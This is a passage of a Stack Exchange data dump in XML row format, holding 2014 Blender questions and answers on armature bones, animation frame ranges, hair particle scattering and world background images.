  <row Id="8904" PostTypeId="1" AcceptedAnswerId="8905" CreationDate="2014-04-26T04:15:31.427" Score="2" ViewCount="6686" Body="&lt;p&gt;I made a rig for a model of a dragon and for some reason,&lt;br&gt;&#xA;when I go into &lt;em&gt;Edit Mode&lt;/em&gt;, some of the &lt;strong&gt;bones disappear&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0yIna.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this is relevant or not, but I created the rig using the standard release of 2.69, but now I'm using the standard version of 2.70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/28701&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is my blend file.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="1363" LastEditDate="2014-04-26T12:47:49.563" LastActivityDate="2018-04-17T12:29:51.530" Title="Why do some bones in my armature disappear when I go into Edit mode?" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8905" PostTypeId="2" ParentId="8904" CreationDate="2014-04-26T04:34:22.050" Score="6" Body="&lt;h2&gt;Unhide Bones&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Your bones were hidden. To unhide them, once in Edit mode press &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; and your bones will be back! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cmGe3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hidden Bones are only Hidden in Specific Modes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is worth noting that bones hidden in one mode may be visible in another mode, and vice-versa. Here is an explanation from the &lt;a href=&quot;https://i.stack.imgur.com/cmGe3.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that hidden bones are specific to a mode – i.e. you can hide some&#xA;  bones in Edit mode, they will still be visible in Pose mode, and&#xA;  vice-versa. Hidden bone in Pose mode are also invisible in Object&#xA;  mode. And in Edit mode, the bone to hide must be fully selected, not&#xA;  just his root or tip…&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="14" LastEditDate="2014-04-26T14:11:00.740" LastActivityDate="2014-04-26T14:11:00.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8906" PostTypeId="1" AcceptedAnswerId="8907" CreationDate="2014-04-26T04:38:56.547" Score="9" ViewCount="19432" Body="&lt;p&gt;I spent a lot of time building up my armature for my dragon model and then, after I was all done and started to refine it, I realized that the bones from the pelvis out to the end of the tail were &lt;strong&gt;pointing the wrong way&lt;/strong&gt; - they need to have their heads pointing the other direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/isT5Q.jpg&quot; alt=&quot;Armature with bones pointing in the wrong direction&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to have to delete these bones and start over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to &lt;strong&gt;switch the direction of the tail bones&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="1363" LastEditDate="2014-04-26T12:49:40.643" LastActivityDate="2014-04-26T12:53:33.270" Title="How can I reverse the direction of bones in my armature?" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8907" PostTypeId="2" ParentId="8906" CreationDate="2014-04-26T04:38:56.547" Score="19" Body="&lt;h2&gt;Switch Direction of Bones&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Thankfully Blender has a simple command that will reverse the direction of selected bones called &quot;Switch Direction&quot;. You can access this two different ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select rig &gt; &lt;kbd&gt;Tab&lt;/kbd&gt; &gt; select bones &gt; &lt;em&gt;Specials&lt;/em&gt; menu (&lt;kbd&gt;W&lt;/kbd&gt;) &gt; &lt;em&gt;Switch Direction&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select rig &gt; &lt;kbd&gt;Tab&lt;/kbd&gt; &gt; select bones &gt; &lt;em&gt;3D View&lt;/em&gt; Header &gt; &lt;em&gt;Armature&lt;/em&gt; menu &gt; &lt;em&gt;Switch Direction&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sx5Sv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="1363" LastEditDate="2014-04-26T12:53:33.270" LastActivityDate="2014-04-26T12:53:33.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8908" PostTypeId="2" ParentId="8898" CreationDate="2014-04-26T04:56:49.273" Score="3" Body="&lt;p&gt;The render range can also be set on the tmeline:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Huicf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-04-26T04:56:49.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8909" PostTypeId="2" ParentId="8906" CreationDate="2014-04-26T06:22:24.077" Score="7" Body="&lt;p&gt;Blender has a function to switch the direction of Bones, however its worth noting that there is also the ability to select a bone chain in one step:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enter &lt;em&gt;Edit Mode&lt;/em&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select a bone on either end of the chain you want to flip &lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; and click &lt;kbd&gt;RMB&lt;/kbd&gt; to select the other bone in the chain.&lt;br&gt;&lt;em&gt;(this selects bones in between, matching similar behavior in mesh editmode)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Armature&lt;/em&gt; menu &lt;em&gt;&gt; Switch Direction&lt;/em&gt; (or &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="1363" LastEditDate="2014-04-26T12:51:56.790" LastActivityDate="2014-04-26T12:51:56.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8910" PostTypeId="1" CreationDate="2014-04-26T06:53:53.637" Score="1" ViewCount="344" Body="&lt;p&gt;I have used a third party addon script to do this, but it is throwing an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AttributeError: Mesh object does not contain faces attribute.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It complains about the line &lt;code&gt;for face in object.data.faces:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was originally written for Blender 2.57 and apparently no longer works.&lt;br&gt;&#xA;Is there some other addon for 2.70?&lt;/p&gt;&#xA;" OwnerUserId="3282" LastEditorUserId="1363" LastEditDate="2014-04-26T12:56:09.343" LastActivityDate="2014-05-04T16:29:28.390" Title="Is there an addon to enable export of Blender object to an Objective-C header?" Tags="&lt;export&gt;&lt;add-on&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8911" PostTypeId="1" AcceptedAnswerId="8912" CreationDate="2014-04-26T08:34:50.310" Score="6" ViewCount="1494" Body="&lt;p&gt;Whenever I download a .blend from someone all of the windows and settings are the way they have left them as it is saved in the file. It takes way to long to rearrange every window and toolbar to the way it is by default. Is there any tool or shortcut that can reset the UI to blenders default and just leave the actual contents of the file? The only way I could do this is by creating a new file and using link/append but this is not the best option.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="1165" LastEditDate="2014-04-26T08:39:50.397" LastActivityDate="2014-04-26T12:31:28.403" Title="Is there a quick way to reset a .blend files windows and settings to default" Tags="&lt;blend-files&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-26T18:48:23.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="8912" PostTypeId="2" ParentId="8911" CreationDate="2014-04-26T08:52:41.750" Score="8" Body="&lt;p&gt;When you open the file there is an option to load the UI from the file which is about to be opened. By default this is enabled, deselecting this option will keep the current settings. See image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit - Updated with comment by @Samble&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the user preferences under File there is an option for Load UI - this is the default that is used each time you open a file. If it helps you can turn it off and manually turn it on only when you want to load the UI from a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the file has been loaded it will use the setting pulled from .blend file and to my knowledge there is no &quot;Reset to Factory UI&quot; or &quot;Reset to Start-Up UI&quot; option like you can do for the start-up .blend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should probably be put in as a feature request as I a lot of people share files and doing it by accident is annoying as you lose your current UI and then have to either reload factory setting or your own blend file to get back your UI before re-open the file you want to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BvmH7.jpg&quot; alt=&quot;Load UI option&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="175" LastEditDate="2014-04-26T12:31:28.403" LastActivityDate="2014-04-26T12:31:28.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8913" PostTypeId="1" AcceptedAnswerId="8915" CreationDate="2014-04-26T10:11:29.410" Score="11" ViewCount="13125" Body="&lt;p&gt;I'm trying to find the settings that allow me to see longer previews of my animations when I play the animation with &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The animations default to only 250 frames long, but I'd like them to be longer. What is the way to do this?&lt;/p&gt;&#xA;" OwnerUserId="3280" LastEditorUserId="2217" LastEditDate="2014-05-31T13:39:11.540" LastActivityDate="2021-02-24T08:15:43.060" Title="How can I make my animation play for longer than 250 Frames?" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8915" PostTypeId="2" ParentId="8913" CreationDate="2014-04-26T10:32:47.437" Score="12" Body="&lt;h2&gt;Changing the Length of Your Animation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to see a longer preview of your animation, you need to make your animation itself longer. To do this, you can change end End Frame of your animation in several places:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Properties Editor &gt; Render tab &gt; Dimensions panel:&lt;/em&gt; Set &lt;strong&gt;End Frame&lt;/strong&gt; to a higher value&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Timeline area:&lt;/em&gt; Increase the &lt;strong&gt;End&lt;/strong&gt; value&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Timeline area:&lt;/em&gt; Place the green frame cursor on the desired end frame, press &lt;kbd&gt;E&lt;/kbd&gt; to set it as new &lt;strong&gt;End&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Changing the End frame in any of these places changes it in all the other places also&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQ1qj.gif&quot; alt=&quot;Change Animation End Frame&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="1363" LastEditDate="2014-04-26T12:45:03.043" LastActivityDate="2014-04-26T12:45:03.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8917" PostTypeId="1" AcceptedAnswerId="32117" CreationDate="2014-04-26T14:32:26.740" Score="8" ViewCount="1416" Body="&lt;p&gt;Is it possible to iterate through particles like vertices of a mesh, to kill some?&#xA;I'm trying to remove overlapping particles of still droplets.&lt;/p&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2018-08-23T08:29:02.527" Title="Is it possible to iterate through particles in python?" Tags="&lt;python&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8918" PostTypeId="1" AcceptedAnswerId="8919" CreationDate="2014-04-26T20:13:29.547" Score="8" ViewCount="16217" Body="&lt;p&gt;I made a hair particle system and set the Dupli Group to a group of 3 objects. Each of the 3 objects has:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;it's origin set to be touching the XY plane (on layer 2)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it's Scale applied to 1 and it's Rotation applied to 0&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajyMQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to get each of the objects to sit directly on top of the ground, but instead, they are centered in the plane, half above the plane and half below the plane:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ObIU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Here is &lt;a href=&quot;http://pasteall.org/blend/28716&quot; rel=&quot;noreferrer&quot;&gt;my blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2217" LastEditDate="2014-04-26T20:47:29.513" LastActivityDate="2014-07-08T04:35:30.973" Title="Why are the objects in my hair particle system not sitting on top of the ground?" Tags="&lt;modeling&gt;&lt;particles&gt;&lt;instances&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8919" PostTypeId="2" ParentId="8918" CreationDate="2014-04-26T20:25:50.507" Score="14" Body="&lt;p&gt;This is because hair particles use the global +X axis as &quot;up&quot; for orienting the particle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you rotate your objects 90&amp;deg; on the Y axis so that the direction you want to be facing up is instead facing global +X, you get the following result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TUDLw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't necessary to apply the rotation, since you have &lt;em&gt;Rotation&lt;/em&gt; enabled in &lt;em&gt;Particle Settings &gt; Render&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if you &lt;strong&gt;don't&lt;/strong&gt; have &lt;em&gt;Rotation&lt;/em&gt; enabled, for some reason the &quot;up&quot; direction becomes global +Y, and you will need to apply rotation for changes to take effect.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-26T20:25:50.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8920" PostTypeId="1" AcceptedAnswerId="8921" CreationDate="2014-04-26T21:00:18.453" Score="2" ViewCount="131" Body="&lt;p&gt;I watched a tutorial and at one point, the person moved their objects up the Z axis, &lt;strong&gt;but the origins did NOT move!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HCDQu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I watched the screencast keys, but I still can't figure out how it was done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-26T21:06:55.793" LastActivityDate="2014-04-26T21:06:55.793" Title="How are these meshes being moved up while their origins are NOT moving?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8921" PostTypeId="2" ParentId="8920" CreationDate="2014-04-26T21:01:50.100" Score="4" Body="&lt;p&gt;They are moving the geometry in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Edit Mode&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Toggle edit mode with &lt;kbd&gt;Tab&lt;/kbd&gt;, or select it from the header:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ox6nO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all geometry with &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to move the selection along the Z axis.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-26T21:01:50.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8922" PostTypeId="2" ParentId="8920" CreationDate="2014-04-26T21:02:37.997" Score="3" Body="&lt;p&gt;That is in edit mode, with  all the verts selected, so the while mesh is moving. In edit mode the origin will not move.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-04-26T21:02:37.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8923" PostTypeId="1" AcceptedAnswerId="8929" CreationDate="2014-04-26T21:20:09.660" Score="31" ViewCount="116325" Body="&lt;p&gt;I'd like to use a background image for my world, but I'm not sure how to do it.   Right now I am using the sun as a lightpoint and it looks like sky and a flat plane (not realistic). I was thinking of just using a mountain background image for the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done that through textures etc. but I don't see ANYTHING in render even though it shows in worlds?  What am I doing wrong?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what's a cheap quick fix for cases like mine so it looks like the world isn't JUST blue sky?  Thanks guys! &lt;/p&gt;&#xA;" OwnerUserId="3280" LastEditorUserId="2952" LastEditDate="2015-12-06T07:33:58.190" LastActivityDate="2018-03-07T05:17:33.010" Title="How Do You Use An Image As The World Background?" Tags="&lt;texturing&gt;&lt;world&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="8924" PostTypeId="1" CreationDate="2014-04-26T22:12:31.013" Score="2" ViewCount="1438" Body="&lt;p&gt;It is possible? or it is just a GLSL feature?&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2014-04-27T21:02:28.607" Title="It is possible to use Antialiasing in Multitexture mode?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8926" PostTypeId="1" CreationDate="2014-04-26T23:27:21.473" Score="4" ViewCount="588" Body="&lt;p&gt;Say I create another scene in a blank layer. How do I switch to that totally different scene during rendering?&#xA;Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="3280" LastEditorUserId="527" LastEditDate="2015-06-27T08:05:33.687" LastActivityDate="2015-06-27T08:05:33.687" Title="How do you switch to a completely different camera in a different Blender layer?" Tags="&lt;layers&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8927" PostTypeId="1" AcceptedAnswerId="8928" CreationDate="2014-04-26T23:50:40.203" Score="9" ViewCount="14400" Body="&lt;p&gt;I would like to have plants, rocks, sticks and other debris scattered randomly on the ground in my scene, but I don't want to have to place it all there by hand. Is there an easy way to do this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2217" LastEditDate="2014-05-01T02:43:50.000" LastActivityDate="2016-09-20T14:38:18.080" Title="Is there a way to procedurally scatter objects on the ground of my scene?" Tags="&lt;modeling&gt;&lt;particles&gt;&lt;instances&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ClosedDate="2014-04-28T00:10:34.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="8928" PostTypeId="2" ParentId="8927" CreationDate="2014-04-26T23:50:40.203" Score="25" Body="&lt;h2&gt;Placing Objects Randomly on the Ground with a Hair Particle System&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Hair&quot; rel=&quot;noreferrer&quot;&gt;Hair Particle system&lt;/a&gt; is a very easy way to have objects scattered randomly on your ground plane. This can be very useful for creating litter in cities, rocks &amp;amp; sticks in woods, trees in forests, weeds in abandoned lots, etc:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uuzhD.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Step #1: Create your Objects&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add to your scene one of each type of object you want to have scattered on the ground. In this example, I'm using 3 objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0syMZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each object's &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Origin Point&lt;/em&gt;&lt;/a&gt; is the point where the object will touch the ground plane. So, make sure to place the Origin Point accordingly. In this example, we'll move the Origin Point of each object to the mesh's bottom-most point:&lt;br&gt;&#xA;Select an object &gt; &lt;em&gt;Edit&lt;/em&gt; mode (&lt;kbd&gt;TAB&lt;/kbd&gt;) &gt; select all (&lt;kbd&gt;A&lt;/kbd&gt;) &gt; move the object up until it's &lt;em&gt;Origin&lt;/em&gt; is at the base of the object:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/giE0o.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now make all your objects a &lt;em&gt;Group&lt;/em&gt; by selecting them all and pressing &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then name your group something like &quot;Object Group&quot; in the &lt;em&gt;Tools&lt;/em&gt; panel (&lt;kbd&gt;T&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P2UbZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now rotate all the objects 90 degrees on the Y axis. &lt;strong&gt;This is very important&lt;/strong&gt; because in hair particle systems, particles use the global +X axis as &quot;up&quot; for orienting the particle (or object, as in the case here):&lt;br&gt;&#xA;&lt;em&gt;Object Mode&lt;/em&gt; &gt; select object &gt; &lt;kbd&gt;R&lt;/kbd&gt; &gt; &lt;kbd&gt;Y&lt;/kbd&gt; &gt; &lt;kbd&gt;9&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JhAyn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can now move them off to the side or to a different &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/3D_interaction/Navigating/Layers&quot; rel=&quot;noreferrer&quot;&gt;layer&lt;/a&gt; -- &lt;strong&gt;just don't rotate them.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Step #2: Make Your Particle System&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Hair particle system to your ground plane:&lt;br&gt;&#xA;Select ground plane &gt; &lt;em&gt;Object Properties&lt;/em&gt; window &gt; &lt;em&gt;Particle System&lt;/em&gt; tab &gt; click &lt;em&gt;New&lt;/em&gt; &gt; set &lt;em&gt;Type&lt;/em&gt; to &lt;em&gt;Hair&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n9kuj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For the particle system, make the following settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Advanced&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dV4GI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Render&lt;/em&gt; section, select &lt;em&gt;Group&lt;/em&gt;, and set &lt;em&gt;Dupli Group&lt;/em&gt; to your object group, and enable &lt;em&gt;Rotation&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PhGFe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;em&gt;Rotation&lt;/em&gt; section, set &lt;em&gt;Initial Orientation&lt;/em&gt; to &lt;em&gt;Normal&lt;/em&gt;, and the &lt;em&gt;(Rotation) Random&lt;/em&gt; to 1&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/znlBn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Physics&lt;/em&gt; section, adjust the &lt;em&gt;Size&lt;/em&gt; of your objects, and if you want some of the objects to be random sizes then adjust &lt;em&gt;Random Size&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QOm3i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the &lt;em&gt;Number&lt;/em&gt; of objects in the &lt;em&gt;Emission&lt;/em&gt; section&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YvlOJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The result is a scattering of your objects over the ground:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YNnyo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2016-09-20T14:38:18.080" LastActivityDate="2016-09-20T14:38:18.080" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8929" PostTypeId="2" ParentId="8923" CreationDate="2014-04-27T02:11:33.910" Score="41" Body="&lt;h2&gt;Setting a World Environment Background Texture in Cycles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can easily set a very nice background image for your world by creating an Environment Texture for your World. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use many different kinds of background images, but one of the best types for creating a beautiful 360° background is an &lt;a href=&quot;https://www.google.com/search?q=hdri&amp;amp;rlz=1C5CHFA_enUS511US512&amp;amp;oq=hdri&amp;amp;aqs=chrome.0.69i59l2j0j69i65j69i60j0.5051j0j7&amp;amp;sourceid=chrome&amp;amp;es_sm=119&amp;amp;ie=UTF-8&quot; rel=&quot;noreferrer&quot;&gt;HDRI (High Dynamic Range Image)&lt;/a&gt;. These types of images are designed to wrap around your world in a spherical shape so no matter where you look in the scene, you still see the background image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mn91k.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many sources for free HDR images -- &lt;a href=&quot;http://www.hdri-hub.com/&quot; 